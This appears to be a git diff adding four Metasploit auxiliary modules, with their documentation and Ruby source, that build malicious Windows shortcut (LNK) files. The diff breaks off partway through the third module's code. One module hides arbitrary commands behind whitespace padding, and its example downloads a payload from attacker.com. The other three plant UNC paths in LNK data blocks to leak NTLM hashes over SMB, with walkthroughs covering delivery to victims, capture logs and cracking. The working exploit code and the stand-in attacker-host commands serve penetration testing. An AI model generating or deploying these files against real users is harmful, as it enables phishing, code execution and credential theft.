diff --git a/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md b/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md new file mode 100644 index 0000000000000..80d82adc62683 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md @@ -0,0 +1,110 @@ +This module generates a malicious Windows shortcut (LNK) file that exploits padding in the command line arguments to execute arbitrary commands. It leverages environment variables and inserts whitespace padding to concatenate and run the specified payload when the LNK is opened. + +The technique allows command execution without direct user interaction beyond opening the shortcut, making it useful for phishing or payload delivery scenarios. + +## Vulnerable Application + +Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed. This can lead to arbitrary command execution via manipulated command line buffers. + +References: +- [ZDI-CAN-25373](https://www.zerodayinitiative.com/advisories/ZDI-CAN-25373/) +- [Windows LNK Research](https://zeifan.my/Windows-LNK/) +- [Gist Example](https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1) +- [Trend Micro Analysis](https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html) + +Disclosure Date: 2025-07-19. + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/windows_lnk_padding`. +3. Set required options (e.g., FILENAME, COMMAND). +4. Optionally customize DESCRIPTION, ICON_PATH, or BUFFER_SIZE. +5. Execute the module: `run`. +6. A malicious LNK file will be generated. +7. Deliver the LNK file to the target Windows system. +8. Open the LNK file to trigger command execution (e.g., launching calc.exe). + +## Options + +### FILENAME + +Specifies the name of the generated LNK file. + +Default: `poc.lnk` + +Example: +``` +set FILENAME exploit.lnk +``` + +### COMMAND + +The command to execute when the LNK is opened. + +Default: `C:\\Windows\\System32\\calc.exe` + +Example: +``` +set COMMAND powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload" +``` + +### DESCRIPTION + +Optional description for the LNK file. If not set, a random sentence is generated. + +Example: +``` +set DESCRIPTION Important Document +``` + +### ICON_PATH + +Optional path to an icon for the LNK file. If not set, a random system icon path is generated. + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### BUFFER_SIZE + +The size of the whitespace padding buffer before the command (must be sufficient to avoid truncation). + +Default: 900 + +Example: +``` +set BUFFER_SIZE 1000 +``` + +## Scenarios + +### Basic Command Execution on Windows + +Target: Any Windows system (e.g., Windows 10 or later). + +Generate an LNK that launches Calculator with custom padding: + +``` +msf > use auxiliary/fileformat/windows_lnk_padding +msf auxiliary(fileformat/windows_lnk_padding) > set FILENAME calc.lnk +FILENAME => calc.lnk +msf auxiliary(fileformat/windows_lnk_padding) > set COMMAND C:\\Windows\\System32\\calc.exe +COMMAND => C:\\Windows\\System32\\calc.exe +msf auxiliary(fileformat/windows_lnk_padding) > set BUFFER_SIZE 900 +BUFFER_SIZE => 900 +msf auxiliary(fileformat/windows_lnk_padding) > set DESCRIPTION Calculator Shortcut +DESCRIPTION => Calculator Shortcut +msf auxiliary(fileformat/windows_lnk_padding) > set ICON_PATH %SystemRoot%\\System32\\calc.exe +ICON_PATH => %SystemRoot%\\System32\\calc.exe +msf auxiliary(fileformat/windows_lnk_padding) > run + +[*] Generating LNK file: calc.lnk +[+] Successfully created calc.lnk +[*] Command line buffer size: 900 bytes +[*] Target command: C:\\Windows\\System32\\calc.exe +[*] Auxiliary module execution completed +``` + +Deliver `calc.lnk` to the target (e.g., via email attachment or shared folder). When opened, it executes `calc.exe` using the padded command line. Monitor for execution side effects or adjust the COMMAND for more advanced payloads like downloading and running scripts. \ No newline at end of file diff --git a/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md b/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md new file mode 100644 index 0000000000000..26138687130c2 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md @@ -0,0 +1,134 @@ +This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the EnvironmentVariableDataBlock of the Shell Link structure. When a victim right-clicks the LNK file in Windows Explorer, it triggers an automatic authentication attempt to the specified remote SMB server, enabling the capture of NTLM hashes. + +The exploit takes advantage of how Windows handles environment variables in LNK files during context menu operations, leading to unsolicited SMB connections without requiring the file to be opened. + +## Vulnerable Application + +Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus. This can result in NTLM credential leaks over SMB. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) + +Disclosure Date: 2025-05-06. + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`. +3. Set required options (e.g., FILENAME, UNC_PATH). +4. Optionally customize DESCRIPTION, ICON_PATH, or PADDING_SIZE. +5. Execute the module: `run`. +6. A malicious LNK file is generated. +7. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`). +8. Deliver the LNK file to the target system. +9. Right-click the LNK file in Explorer to trigger the SMB connection. +10. Monitor the listener for captured NTLM hashes. + +## Options + +### FILENAME + +The name of the generated LNK file. + +Default: `msf.lnk` + +Example: +``` +set FILENAME context.lnk +``` + +### UNC_PATH + +The UNC path (e.g., `\\server\share`) that the LNK will attempt to access for credential capture. + +Default: `\\192.168.1.1\share` + +Example: +``` +set UNC_PATH \\attacker.ip\captureshare +``` + +### DESCRIPTION + +The description for the shortcut. + +Default: `Testing Purposes` + +Example: +``` +set DESCRIPTION Important File +``` + +### ICON_PATH + +The path to an icon for the LNK file. + +Default: `e.g. abc.ico` + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### PADDING_SIZE + +Size of padding in the command arguments. + +Default: 10 + +Example: +``` +set PADDING_SIZE 20 +``` + +## Scenarios + +### NTLM Hash Capture on Right-Click + +Target: Windows system with Explorer (e.g., Windows 10 or later). + +Generate the LNK file: + +``` +msf > use auxiliary/fileformat/right_click_lnk_leak +msf auxiliary(fileformat/right_click_lnk_leak) > set FILENAME context.lnk +FILENAME => context.lnk +msf auxiliary(fileformat/right_click_lnk_leak) > set UNC_PATH \\192.168.1.25\share +UNC_PATH => \\192.168.1.25\share +msf auxiliary(fileformat/right_click_lnk_leak) > set DESCRIPTION Fake Document +DESCRIPTION => Fake Document +msf auxiliary(fileformat/right_click_lnk_leak) > set ICON_PATH %SystemRoot%\\System32\\imageres.dll +ICON_PATH => %SystemRoot%\\System32\\imageres.dll +msf auxiliary(fileformat/right_click_lnk_leak) > set PADDING_SIZE 15 +PADDING_SIZE => 15 +msf auxiliary(fileformat/right_click_lnk_leak) > run + +[*] Creating 'context.lnk' file... +[+] LNK file created: context.lnk +[*] Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication +[*] Auxiliary module execution completed +``` + +Set up the capture listener on the attacker machine: + +``` +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(server/capture/smb) > run +[*] Server started. +``` + +Deliver `context.lnk` to the target. When the victim right-clicks it, an SMB connection is attempted: + +``` +[*] SMB Captured - 2025-09-18 21:08:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:examplehashvalue +NT_CLIENT_CHALLENGE:examplechallenge +``` + +Use cracking tools to recover credentials from the hash. diff --git a/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md b/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md new file mode 100644 index 0000000000000..6bab6cec43549 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md @@ -0,0 +1,153 @@ +This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the IconEnvironmentDataBlock of the Shell Link structure. When a victim browses to the directory containing the LNK file in Windows Explorer, it triggers an automatic authentication attempt to the specified remote SMB server, allowing for the capture of NTLM hashes. + +The exploit relies on how Windows processes LNK files with manipulated environment data blocks, leading to unsolicited SMB connections without requiring the user to open the file. + +## Vulnerable Application + +Windows systems using Explorer to browse directories with LNK files, where the IconEnvironmentDataBlock can force SMB authentication leaks. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) + +Disclosure Date: 2025-05-16. + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`. +3. Set options like FILENAME, UNC_PATH, or others as needed. +4. Execute the module: `run`. +5. A malicious LNK file is generated. +6. If UNC_PATH is not set, an integrated SMB capture server starts. +7. Place the LNK in a target directory. +8. Browse the directory in Windows Explorer to trigger the SMB connection. +9. Check the console for captured NTLM hashes. + +## Options + +### FILENAME + +The name of the generated LNK file. + +Default: `msf.lnk` + +Example: +``` +set FILENAME leak.lnk +``` + +### UNC_PATH + +The UNC path (e.g., `\\server\share`) for the LNK to connect to. If unset, the module starts its own SMB server. + +Example: +``` +set UNC_PATH \\192.168.1.100\share +``` + +### DESCRIPTION + +Optional description for the shortcut. If unset, a random sentence is generated. + +Example: +``` +set DESCRIPTION System Update +``` + +### ICON_PATH + +Optional icon path for the LNK. If unset, a random system icon path is generated. + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### PADDING_SIZE + +Size of padding in the command arguments. + +Default: 10 + +Example: +``` +set PADDING_SIZE 20 +``` + +### Advanced Options + +**SRVHOST** + +Local host for the integrated SMB server (if UNC_PATH is unset). + +Default: `0.0.0.0` + +Example: +``` +set SRVHOST 192.168.1.25 +``` + +**SRVPORT** + +Local port for the integrated SMB server. + +Default: `445` + +Example: +``` +set SRVPORT 445 +``` + +## Scenarios + +### NTLM Hash Capture via Integrated Server + +Target: Windows system with Explorer. + +``` +msf > use auxiliary/fileformat/iconenvironmentdatablock_lnk +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set FILENAME leak.lnk +FILENAME => leak.lnk +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set DESCRIPTION Fake Shortcut +DESCRIPTION => Fake Shortcut +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set PADDING_SIZE 15 +PADDING_SIZE => 15 +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run + +[*] Creating 'leak.lnk' file... +[+] LNK file created: leak.lnk +[*] Listening for hashes on 192.168.1.25:445 +[*] Auxiliary module execution completed +``` + +Deliver `leak.lnk` to a target folder. Browsing the folder triggers an SMB connection: + +``` +[*] SMB Captured - 2025-09-18 21:07:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:victim DOMAIN:VICTIMPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:samplehash +NT_CLIENT_CHALLENGE:samplechallenge +``` + +Crack the hash with tools like Hashcat. + +### Custom UNC Path Usage + +For an external SMB setup: + +``` +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set UNC_PATH \\attacker.com\captureshare +UNC_PATH => \\attacker.com\captureshare +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run + +[*] Creating 'msf.lnk' file... +[+] LNK file created: msf.lnk +[*] Auxiliary module execution completed +``` + +Monitor the external server for authentication attempts. \ No newline at end of file diff --git a/documentation/modules/auxiliary/fileformat/specialfolder_leak.md b/documentation/modules/auxiliary/fileformat/specialfolder_leak.md new file mode 100644 index 0000000000000..4caa55e247e9e --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/specialfolder_leak.md @@ -0,0 +1,138 @@ +This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the SpecialFolderDatablock of the Shell Link structure. When a victim browses to or interacts with the LNK file in Windows Explorer, it triggers an authentication attempt to the specified remote SMB server, enabling the capture of NTLM hashes. + +This technique leverages a vulnerability in how Windows handles certain LNK file structures, resulting in automatic SMB connections without user interaction. The module can either point to a user-specified UNC path or start an integrated SMB capture server to harvest credentials. + +Tested on Windows systems where Explorer processes LNK files. + +## Vulnerable Application + +Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut. This can lead to NTLM credential leaks over SMB. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) +- [Exploit-DB 42382](https://www.exploit-db.com/exploits/42382) +- [Related Metasploit Module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb) + +Disclosure Date: 2025-05-10 (reported to MSRC). + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`. +3. Customize options as needed (e.g., set FILENAME, UNCPATH, or APPNAME). +4. Execute the module: `run`. +5. A malicious LNK file will be generated. +6. If not using a custom UNCPATH, the module starts an SMB capture server automatically. +7. Place the LNK file in a directory on the target system. +8. Browse to the directory in Windows Explorer to trigger the SMB connection. +9. Monitor the console for captured NTLM hashes. + +## Options + +**FILENAME** + +Specifies the name of the generated LNK file. + +Default: `msf.lnk` + +Example: +``` +set FILENAME malicious.lnk +``` + +**UNCPATH** + +Defines the UNC path (e.g., `\\server\share`) that the LNK file will attempt to access. If not set, the module starts its own SMB server. + +Example: +``` +set UNCPATH \\192.168.1.100\share +``` + +**APPNAME** + +Sets the display name of the application in the LNK file. If empty, a random name is generated. + +Example: +``` +set APPNAME FakeApp +``` + +**Advanced Options** + +**SRVHOST** + +The local host to listen on for the integrated SMB server (if UNCPATH is not set). + +Default: `0.0.0.0` + +Example: +``` +set SRVHOST 192.168.1.25 +``` + +**SRVPORT** + +The local port for the integrated SMB server. + +Default: `445` + +Example: +``` +set SRVPORT 445 +``` + +## Scenarios + +### Basic NTLM Hash Capture on Windows + +Target: A Windows system with Explorer (e.g., Windows 10 or later). + +Attacker: Use the module to generate the LNK and capture hashes locally. + +``` +msf > use auxiliary/fileformat/specialfolderdatablock_lnk +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set FILENAME malicious.lnk +FILENAME => malicious.lnk +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set APPNAME FakeApp +APPNAME => FakeApp +msf auxiliary(fileformat/specialfolderdatablock_lnk) > run + +[*] Starting SMB server on 192.168.1.25:445 +[*] Generating malicious LNK file +[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk +[*] Listening for hashes on 192.168.1.25:445 +[*] Auxiliary module execution completed +``` + +Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive). When the victim opens the containing folder in Explorer, an SMB connection is attempted: + +``` +[*] SMB Captured - 2025-09-18 21:03:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:examplehashvalue +NT_CLIENT_CHALLENGE:examplechallenge +``` + +Crack the captured hash using tools like Hashcat to recover credentials. + +### Using a Custom UNC Path + +If you have an external SMB server set up (e.g., for remote capture): + +``` +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set UNCPATH \\attacker.server\captureshare +UNCPATH => \\attacker.server\captureshare +msf auxiliary(fileformat/specialfolderdatablock_lnk) > run + +[*] Generating malicious LNK file pointing to \\attacker.server\captureshare +[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk +[*] Auxiliary module execution completed +``` + +Monitor your external SMB server for incoming authentication attempts. \ No newline at end of file diff --git a/modules/auxiliary/fileformat/datablock_padding_lnk.rb b/modules/auxiliary/fileformat/datablock_padding_lnk.rb new file mode 100644 index 0000000000000..c8372b813e2f3 --- /dev/null +++ b/modules/auxiliary/fileformat/datablock_padding_lnk.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Shortcut (LNK) Padding', + 'Description' => %q{ + This module generates Windows LNK (shortcut) file that can execute + arbitrary commands. The LNK file uses environment variables and execute + its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace + character padding bytes and concatenates the actual payload. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Nafiez' ], + 'References' => [ + ['ZDI', 'ZDI-CAN-25373'], + ['URL', 'https://zeifan.my/Windows-LNK/'], + ['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'], + ['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html'] + ], + 'Platform' => 'win', + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + }, + 'DisclosureDate' => '2025-07-19' + ) + ) + + register_options([ + OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]), + OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), + OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]), + OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]), + OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ]) + ]) + end + + def run + filename = datastore['FILENAME'] + command = datastore['COMMAND'] + description = datastore['DESCRIPTION'] + icon_path = datastore['ICON_PATH'] + + unless description && !description.empty? + require 'faker' + description = Faker::Lorem.sentence(word_count: 3) + description ||= 'Shortcut' + end + + unless icon_path && !icon_path.empty? + require 'faker' + icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s") + icon_path ||= '%SystemRoot%\\System32\\shell32.dll' + end + + buffer_size = datastore['BUFFER_SIZE'] + + print_status("Generating LNK file: #{filename}") + + lnk_data = generate_lnk_file(command, description, icon_path, buffer_size) + + file_create(lnk_data) + + print_good("Successfully created #{filename}") + print_status("Command line buffer size: #{buffer_size} bytes") + print_status("Target command: #{command}") + end + + private + + def generate_lnk_file(command, description, icon_path, buffer_size) + data = ''.force_encoding('ASCII-8BIT') + data << create_shell_link_header + data << create_string_data(description) + + cmd_buffer = create_command_buffer(command, buffer_size) + + data << create_string_data(cmd_buffer) + data << create_string_data(icon_path) + data << create_environment_block + + return data + end + + def create_shell_link_header + header = ''.force_encoding('ASCII-8BIT') + header << [0x0000004C].pack('V') + header << [0x00021401].pack('V') + header << [0x0000].pack('v') + header << [0x0000].pack('v') + header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8') + + link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000 + + header << [link_flags].pack('V') + header << [0x00000000].pack('V') + header << [0x00000000, 0x00000000].pack('VV') + header << [0x00000000, 0x00000000].pack('VV') + header << [0x00000000, 0x00000000].pack('VV') + header << [0].pack('V') + header << [0].pack('V') + header << [0x00000007].pack('V') + header << [0].pack('v') + header << [0].pack('v') + header << [0].pack('V') + header << [0].pack('V') + + return header + end + + def create_string_data(str) + data = ''.force_encoding('ASCII-8BIT') + + data << [str.length].pack('v') + + unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT') + data << unicode_str + + return data + end + + def create_command_buffer(command, buffer_size) + cmd_command = "/c #{command}" + + cmd_len = cmd_command.length + fill_bytes = buffer_size - cmd_len + + if fill_bytes > 0 + buffer = ' ' * fill_bytes + cmd_command + else + buffer = cmd_command + end + + buffer = buffer[0, buffer_size] if buffer.length > buffer_size + buffer << "\x00" + + return buffer + end + + def create_environment_block + data = ''.force_encoding('ASCII-8BIT') + + block_size = 0x00000314 + data << [block_size].pack('V') + + signature = 0xA0000001 + data << [signature].pack('V') + + env_path = '%windir%\\system32\\cmd.exe' + + ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT') + data << ansi_buffer + + unicode_buffer = env_path.encode('UTF-16LE') + unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT') + data << unicode_buffer + + data + end +end diff --git a/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb b/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb new file mode 100644 index 0000000000000..50021d33aad2f --- /dev/null +++ b/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim right-click the generated LNK file, it will attempt to connect to the + the specified UNC path, resulting in an SMB connection that can be captured + to harvest credentials. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Nafiez', # Original POC & Module + ], + 'References' => [ + ['URL', 'https://zeifan.my/Right-Click-LNK/'] + ], + 'Platform' => 'win', + 'Targets' => [ + ['Windows', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-05-06', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + )) + + register_options([ + OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']), + OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']), + OptString.new('DESCRIPTION', [true, 'The shortcut description', 'Testing Purposes']), + OptString.new('ICON_PATH', [true, 'The icon path to use', 'e.g. abc.ico']), + OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]), + ]) + end + + def run + print_status("Creating '#{datastore['FILENAME']}' file...") + + begin + lnk_data = create_lnk_file + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication") + rescue => e + fail_with(Failure::BadConfig, "Error generating the LNK file: #{e.message}") + end + end + + def create_lnk_file + begin + data = "".b + + # LNK header - 76 bytes + header = "\x4C\x00\x00\x00".b + + # LinkCLSID (00021401-0000-0000-C000-000000000046) + header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b + + # Define LinkFlags + link_flags = 0x00000000 + link_flags |= 0x00000004 # HAS_NAME + link_flags |= 0x00000020 # HAS_ARGUMENTS + link_flags |= 0x00000040 # HAS_ICON_LOCATION + link_flags |= 0x00000080 # IS_UNICODE + link_flags |= 0x00000200 # HAS_EXP_STRING + + header += [link_flags].pack('V') + + # FileAttributes (FILE_ATTRIBUTE_NORMAL) + header += "\x20\x00\x00\x00".b + + # CreationTime, AccessTime, WriteTime (zeroed) + header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3 + + # FileSize + header += "\x00\x00\x00\x00".b + + # IconIndex + header += "\x00\x00\x00\x00".b + + # ShowCommand (SW_SHOWNORMAL) + header += "\x01\x00\x00\x00".b + + # HotKey + header += "\x00\x00".b + + # Reserved fields + header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b + + # Add the header to our binary data + data += header + + # NAME field (description in Unicode) + description = datastore['DESCRIPTION'].to_s + description_utf16 = description.encode('UTF-16LE').b + data += [description_utf16.bytesize / 2].pack('v') + data += description_utf16 + + # ARGUMENTS field (command line arguments in Unicode) + padding_size = datastore['PADDING_SIZE'] + cmd_args = " " * padding_size + cmd_args_utf16 = cmd_args.encode('UTF-16LE').b + data += [cmd_args_utf16.bytesize / 2].pack('v') + data += cmd_args_utf16 + + # ICON LOCATION field (icon path in Unicode) + icon_path = datastore['ICON_PATH'].to_s + icon_path_utf16 = icon_path.encode('UTF-16LE').b + data += [icon_path_utf16.bytesize / 2].pack('v') + data += icon_path_utf16 + + # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE + env_block_size = 0x00000314 # Total size of this block + env_block_sig = 0xA0000001 # Environmental Variables block signature + + data += [env_block_size].pack('V') + data += [env_block_sig].pack('V') + + # Target field in ANSI (260 bytes) + unc_path = validate_unc_path(datastore['UNC_PATH'].to_s) + + # Create fixed-size ANSI buffer with nulls + ansi_buffer = "\x00".b * 260 + + # Copy the UNC path bytes into the buffer + unc_path.bytes.each_with_index do |byte, i| + ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize + end + + data += ansi_buffer + + # Target field in Unicode (520 bytes) + unc_path_utf16 = unc_path.encode('UTF-16LE').b + + # Create fixed-size Unicode buffer with nulls + unicode_buffer = "\x00".b * 520 + + # Copy the UTF-16LE encoded UNC path bytes into the buffer + unc_path_utf16.bytes.each_with_index do |byte, i| + unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize + end + + data += unicode_buffer + + data += "\x00\x00\x00\x00".b + + return data + rescue => e + print_error("Error in create_lnk_file: #{e.message}") + print_error("#{e.backtrace.join("\n")}") + raise e + end + end + + def validate_unc_path(path) + unless path.match(/^\\\\[^\\]+\\[^\\]*$/) + print_warning("UNC_PATH may not be correctly formatted. Expected format: \\\\server\\share") + end + path + end + end \ No newline at end of file diff --git a/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb new file mode 100644 index 0000000000000..8198bc951d602 --- /dev/null +++ b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb @@ -0,0 +1,215 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim browse to the location of the LNK file, it will attempt to + connect to the the specified UNC path, resulting in an SMB connection that + can be captured to harvest credentials. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Nafiez', # Original POC & MSF Module + ], + 'References' => [ + ['URL', 'https://zeifan.my/Right-Click-LNK/'] + ], + 'Platform' => 'win', + 'Targets' => [ + ['Windows', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-05-16', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options([ + OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']), + OptString.new('UNC_PATH', [false, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', nil]), + OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]), + OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]), + OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]) + ]) + deregister_options('SRVHOST', 'SRVPORT') + register_advanced_options([ + OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on', '0.0.0.0']), + OptPort.new('SRVPORT', [true, 'The local port to listen on', 445]) + ]) + end + + def run + print_status("Creating '#{datastore['FILENAME']}' file...") + + description = datastore['DESCRIPTION'] + icon_path = datastore['ICON_PATH'] + + unless description && !description.empty? + require 'faker' + description = Faker::Lorem.sentence(word_count: 3) + description ||= 'Shortcut' + end + + unless icon_path && !icon_path.empty? + require 'faker' + icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'ico')}.to_s") + icon_path ||= '%SystemRoot%\\System32\\shell32.dll' + end + + unc_path = datastore['UNC_PATH'] + if unc_path.nil? || unc_path.empty? + start_smb_capture_server + unc_path = "\\\\#{datastore['SRVHOST']}\\#{random_share_name}" + else + validate_or_fail_unc!(unc_path) + end + + @resolved_description = description + @resolved_icon_path = icon_path + @resovled_unc_path = unc_path + lnk_data = create_lnk_file + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + end + + def create_lnk_file + data = ''.b + + # LNK header - 76 bytes + header = "\x4C\x00\x00\x00".b + + # LinkCLSID (00021401-0000-0000-C000-000000000046) + header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b + + # Define LinkFlags + link_flags = 0x00000000 + link_flags |= 0x00000004 # HAS_NAME + link_flags |= 0x00000020 # HAS_ARGUMENTS + link_flags |= 0x00000040 # HAS_ICON_LOCATION + link_flags |= 0x00000080 # IS_UNICODE + link_flags |= 0x00004000 # HAS_EXP_ICON + + header += [link_flags].pack('V') + + # FileAttributes (FILE_ATTRIBUTE_NORMAL) + header += "\x20\x00\x00\x00".b + + # CreationTime, AccessTime, WriteTime (zeroed) + header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3 + + # FileSize + header += "\x00\x00\x00\x00".b + + # IconIndex + header += "\x00\x00\x00\x00".b + + # ShowCommand (SW_SHOWNORMAL) + header += "\x01\x00\x00\x00".b + + # 